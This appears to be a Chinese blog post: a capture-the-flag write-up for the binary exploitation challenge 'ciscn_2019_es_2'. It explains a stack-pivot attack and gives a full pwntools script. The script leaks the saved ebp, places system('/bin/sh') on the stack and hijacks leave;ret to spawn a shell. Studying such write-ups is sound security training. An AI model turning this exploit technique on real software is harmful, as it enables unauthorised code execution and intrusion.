首页 > 其他分享 >ciscn_2019_es_2

ciscn_2019_es_2

时间:2023-12-31 14:11:08浏览次数:26  
标签:ciscn ebp io p32 2019 es addr

ciscn_2019_es_2

image-20231225113135740

  • 栈迁移
  1. read()存在溢出,但是只有0x30个位置不能拿到shell,所以考虑栈迁移
  2. 通过泄露参数s在栈上的位置,将payload写入栈上
  3. 迁移栈到参数s的位置,运行写入的payload拿到shell
leaved =>
mov esp,ebp 
pop ebp
#清除栈帧,初始化到执行前的样子
ret =>
pop eip
jmp
#相当于一个无条件转跳

image-20231225110712276

泄露出s在栈上的偏移地址

image-20231225124013883

完成栈迁移

from pwn import *
#context.log_level = 'debug'
io = process('./ciscn_2019_es_2')
#io = gdb.debug('./ciscn_2019_es_2','break *vul')
elf = ELF('./ciscn_2019_es_2')
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
offset = 0x28
payload1 = b'A'*offset
io.sendafter(b"Welcome, my friend. What's your name?\n",payload1)
io.recvuntil(b'Hello,')
io.recvuntil(b'A'*0x28)
old_ebp = u32(io.recv(4))
s_addr = ebp_addr = old_ebp-0x10-offset
print('old_ebp -> ',hex(old_ebp))
print('s_addr -> ',hex(ebp_addr))
#pause()
payload2 = p32(0)+p32(elf.plt['system'])+p32(0)+p32(s_addr+0x10)+b'/bin/sh\x00' #`\x00`截断
#32位程序中参数在函数的后0x10位置,所以填充p32(0)
payload2 = payload2.ljust(0x28,b'A')
payload2 += p32(s_addr)+p32(0x08048562) #填充满栈空间,用p32(s_addr)+p32(0x08048562)劫持`leave`完成迁移并填充上新的`leave&ret`
io.send(payload2)
io.interactive()

标签:ciscn,ebp,io,p32,2019,es,addr
From: https://www.cnblogs.com/bamuwe/p/17937471

相关文章

  • RNN 的 gates 机制:LSTM 和 GRU 的发展
    1.背景介绍深度学习技术的发展与进步,主要体现在神经网络的结构和算法上。随着数据规模的增加,传统的神经网络在处理复杂任务时遇到了挑战。特别是在处理长序列数据时,传统的RNN(RecurrentNeuralNetwork)存在的问题,如梯状误差和长期依赖性,限制了其表现。为了解决这些问题,研究人员提出......
  • Random Forests in Computer Vision: Applications and Techniques
    1.背景介绍随机森林在计算机视觉领域的应用和技术随机森林(RandomForests)是一种机器学习方法,它通过构建多个决策树来进行预测和分类。这种方法在处理高维数据和非线性问题时具有很好的性能。在计算机视觉领域,随机森林已经被广泛应用于各种任务,例如图像分类、目标检测、对象识别等。......
  • OpenTSDB: The Ultimate Guide for Time Series Database Management
    1.背景介绍OpenTSDB,全称为Open-SourceTimeSeriesDatabase,是一个开源的时间序列数据库管理系统,专为监控和日志收集而设计。它能够高效地存储和检索大量的时间序列数据,支持多种数据源,如Hadoop、Graphite、Ganglia等。OpenTSDB的设计目标是提供一个可扩展、高性能、高可用性的......
  • Unlocking the Secrets of AI and Machine Learning: Techniques, Tools, and Best Pr
    1.背景介绍人工智能(ArtificialIntelligence,AI)和机器学习(MachineLearning,ML)是当今最热门的技术领域之一。它们为我们提供了解决复杂问题和自动化任务的强大工具。然而,这些领域的知识和技能对于许多人来说仍然是一个陌生领域。本文旨在揭示AI和ML的秘密,提供有用的技术、工......
  • Keras and Transfer Learning: Harnessing PreTrained Models for Your Projects
    1.背景介绍Keras是一个开源的深度学习框架,由Google的TensorFlow团队开发。它提供了许多预训练的模型,可以用于各种项目。在这篇文章中,我们将讨论Keras和传输学习的基本概念,以及如何利用预训练模型来完成自己的项目。传输学习是一种机器学习方法,它涉及到在一种任务上训练的模......
  • GANs in Finance: Uncovering New Investment Opportunities with Generative Adversa
    1.背景介绍GenerativeAdversarialNetworks(GANs)havebeenahottopicinthefieldofdeeplearningandartificialintelligenceinrecentyears.Theyhaveshowngreatpotentialinvariousapplications,suchasimagesynthesis,dataaugmentation,andanomaly......
  • Attention Mechanisms in Speech Synthesis: A Revolution in Voice Technology
    1.背景介绍自从深度学习技术在语音合成领域取得了显著的进展,语音合成技术的发展得到了重大的推动。在这一过程中,注意力机制(AttentionMechanisms)发挥了关键作用,为语音合成技术提供了新的思路和方法。本文将从多个角度深入探讨注意力机制在语音合成中的应用和影响。1.1语音合成的发......
  • Cesium常用数据类型加载方式
    WMTSlettdtIMGLabel=newCesium.WebMapTileServiceImageryProvider({//影像注记url:"http://t{s}.tianditu.gov.cn/cia_w/wmts?service=wmts&request=GetTile&version=1.0.0&LAYER=cia&tileMatrixSet=w&TileMatr......
  • 无涯教程-Java 正则 - Matcher reset()函数
    java.util.regex.Matcher.reset()方法重置此匹配器。Matcherreset()-声明publicMatcherreset()Matcherreset()-示例下面的示例显示java.util.regex.Matcher.reset()方法的用法。packagecom.learnfk;importjava.util.regex.Matcher;importjava.util.regex.Pat......
  • appium报错DeprecationWarning: desired_capabilities argument is deprecated and wi
    不再用desired_capabilities,用options代替原来的desired_caps={"platformName":"ios","platformVersion":"11.4","deviceName":"iPhone6Plus",&......